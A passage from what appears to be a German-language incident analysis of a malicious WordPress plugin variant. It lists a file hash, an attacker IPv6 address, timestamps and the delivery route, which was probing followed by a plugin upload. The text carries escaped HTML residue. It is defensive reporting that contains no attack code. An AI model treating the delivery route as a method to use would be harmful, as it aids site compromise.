src-lab.php<\/code>: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n- Die Zustellung ist dieselbe wie bei der ersten Variante, Sondierung und danach
plugin.upload_plugin<\/code>, von der IP 2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18.10. 23:39 UTC, render-helper-232b 19.10. 0:03 UTC).<\/li>\n<\/ul>\nDer Administrator berichtet nicht von demselben Fehler wie bei der ersten Variante, gehen Sie also davon aus, dass diese funktioniert. Auf seinen Websites hat der Angreifer sie nicht benutzt: keine _uid<\/code>-Option, kein Konto und keine fremde Sitzung.<\/p>\n | | | | | | | | | | | | |
|
|